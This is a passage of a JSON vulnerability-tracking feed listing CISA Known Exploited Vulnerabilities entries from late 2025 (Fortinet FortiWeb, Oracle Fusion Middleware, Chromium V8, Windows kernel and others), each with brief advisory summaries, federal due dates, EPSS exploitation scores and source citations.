unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.39096,"percentile":0.98584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-26828&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-26828","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-26828 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-26828&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-26828, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-48572","cveId":"CVE-2025-48572","aliases":[],"kind":"vulnerability","title":"Android Framework Privilege Escalation Vulnerability","summary":"Android Framework contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2025-12-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-02","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Framework","stacks":["Android","Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-02","dueAt":"2025-12-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00259,"percentile":0.17421,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-48572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-48572","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-48572 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-48572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-48633","cveId":"CVE-2025-48633","aliases":[],"kind":"vulnerability","title":"Android Framework Information Disclosure Vulnerability","summary":"Android Framework contains an unspecified vulnerability that allows for information disclosure.","detail":"CISA added this entry on 2025-12-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-02","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Framework","stacks":["Android","Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-02","dueAt":"2025-12-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00262,"percentile":0.17827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-48633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-48633","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-48633 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-48633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-26829","cveId":"CVE-2021-26829","aliases":[],"kind":"vulnerability","title":"OpenPLC ScadaBR Cross-site Scripting Vulnerability","summary":"OpenPLC ScadaBR contains a cross-site scripting vulnerability via system_settings.shtm.","detail":"CISA added this entry on 2025-11-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-28","updatedAt":null,"regions":["Global"],"vendor":"OpenPLC","product":"ScadaBR","stacks":["OpenPLC","ScadaBR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-28","dueAt":"2025-12-19","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.4805,"percentile":0.98847,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-26829&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-26829","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-26829 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-26829&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-26829, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-61757","cveId":"CVE-2025-61757","aliases":[],"kind":"vulnerability","title":"Oracle Fusion Middleware Missing Authentication for Critical Function Vulnerability","summary":"Oracle Fusion Middleware contains a missing authentication for critical function vulnerability, allowing unauthenticated remote attackers to take over Identity Manager.","detail":"CISA added this entry on 2025-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-21","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Fusion Middleware","stacks":["Oracle","Fusion Middleware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-21","dueAt":"2025-12-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88647,"percentile":0.99772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-61757&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-61757","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-61757 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-61757&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-61757, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-13223","cveId":"CVE-2025-13223","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 contains a type confusion vulnerability that allows for heap corruption.","detail":"CISA added this entry on 2025-11-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-19","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-19","dueAt":"2025-12-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.049,"percentile":0.9203,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-13223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-13223","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-13223 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-13223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-13223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-58034","cveId":"CVE-2025-58034","aliases":[],"kind":"vulnerability","title":"Fortinet FortiWeb OS Command Injection Vulnerability","summary":"Fortinet FortiWeb contains an OS command Injection vulnerability that may allow an authenticated attacker to execute unauthorized code on the underlying system via crafted HTTP requests or CLI commands.","detail":"CISA added this entry on 2025-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-18","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiWeb","stacks":["Fortinet","FortiWeb"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-18","dueAt":"2025-11-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54724,"percentile":0.99013,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-58034&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-58034","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-58034 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-58034&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-58034, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-64446","cveId":"CVE-2025-64446","aliases":[],"kind":"vulnerability","title":"Fortinet FortiWeb Path Traversal Vulnerability","summary":"Fortinet FortiWeb contains a relative path traversal vulnerability that may allow an unauthenticated attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.","detail":"CISA added this entry on 2025-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-14","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiWeb","stacks":["Fortinet","FortiWeb"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-14","dueAt":"2025-11-21","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91078,"percentile":0.99806,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-64446&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-64446","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-64446 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-64446&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-64446, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-12480","cveId":"CVE-2025-12480","aliases":[],"kind":"vulnerability","title":"Gladinet Triofox Improper Access Control Vulnerability","summary":"Gladinet Triofox contains an improper access control vulnerability that allows access to initial setup pages even after setup is complete.","detail":"CISA added this entry on 2025-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-12","updatedAt":null,"regions":["Global"],"vendor":"Gladinet","product":"Triofox","stacks":["Gladinet","Triofox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-12","dueAt":"2025-12-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95748,"percentile":0.9987,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-12480&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-12480","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-12480 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-12480&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-12480, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-62215","cveId":"CVE-2025-62215","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Race Condition Vulnerability","summary":"Microsoft Windows Kernel contains a race condition vulnerability that allows a local attacker with low-level privileges to escalate privileges. Successful exploitation of this vulnerability could enable the attacker to gain SYSTEM-level access.","detail":"CISA added this entry on 2025-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-12","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-12","dueAt":"2025-12-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04464,"percentile":0.91373,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-62215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-62215","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-62215 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-62215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-62215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-9242","cveId":"CVE-2025-9242","aliases":[],"kind":"vulnerability","title":"WatchGuard Firebox Out-of-Bounds Write Vulnerability","summary":"WatchGuard Firebox contains an out-of-bounds write vulnerability in the OS iked process that may allow a remote unauthenticated attacker to execute arbitrary code.","detail":"CISA added this entry on 2025-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-12","updatedAt":null,"regions":["Global"],"vendor":"WatchGuard","product":"Firebox","stacks":["WatchGuard","Firebox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-12","dueAt":"2025-12-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91804,"percentile":0.99815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-9242&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-9242","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-9242 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-9242&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-9242, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21042","cveId":"CVE-2025-21042","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Out-of-Bounds Write Vulnerability","summary":"Samsung mobile devices contain an out-of-bounds write vulnerability in libimagecodec.quram.so. This vulnerability could allow remote attackers to execute arbitrary code.","detail":"CISA added this entry on 2025-11-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-10","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-10","dueAt":"2025-12-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.35577,"percentile":0.98445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21042&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21042","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21042 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21042&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21042, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-11371","cveId":"CVE-2025-11371","aliases":[],"kind":"vulnerability","title":"Gladinet CentreStack and Triofox Files or Directories Accessible to External Parties Vulnerability","summary":"Gladinet CentreStack and Triofox contains a files or directories accessible to external parties vulnerability that allows unintended disclosure of system files.","detail":"CISA added this entry on 2025-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-04","updatedAt":null,"regions":["Global"],"vendor":"Gladinet","product":"CentreStack and Triofox","stacks":["Gladinet","CentreStack and Triofox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-04","dueAt":"2025-11-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92137,"percentile":0.9982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-11371&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-11371","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-11371 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-11371&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-11371, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-48703","cveId":"CVE-2025-48703","aliases":[],"kind":"vulnerability","title":"CWP Control Web Panel OS Command Injection Vulnerability","summary":"CWP Control Web Panel (formerly CentOS Web Panel) contains an OS command Injection vulnerability that allows unauthenticated remote code execution via shell metacharacters in the t_total parameter in a filemanager changePerm request. A valid non-root username must be known.","detail":"CISA added this entry on 2025-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-11-04","updatedAt":null,"regions":["Global"],"vendor":"CWP","product":"Control Web Panel","stacks":["CWP","Control Web Panel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-11-04","dueAt":"2025-11-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99655,"percentile":0.99949,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-48703&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-48703","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-11-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-48703 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48703&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-48703, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24893","cveId":"CVE-2025-24893","aliases":[],"kind":"vulnerability","title":"XWiki Platform Eval Injection Vulnerability","summary":"XWiki Platform contains an eval injection vulnerability that could allow any guest to perform arbitrary remote code execution through a request to SolrSearch.","detail":"CISA added this entry on 2025-10-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational 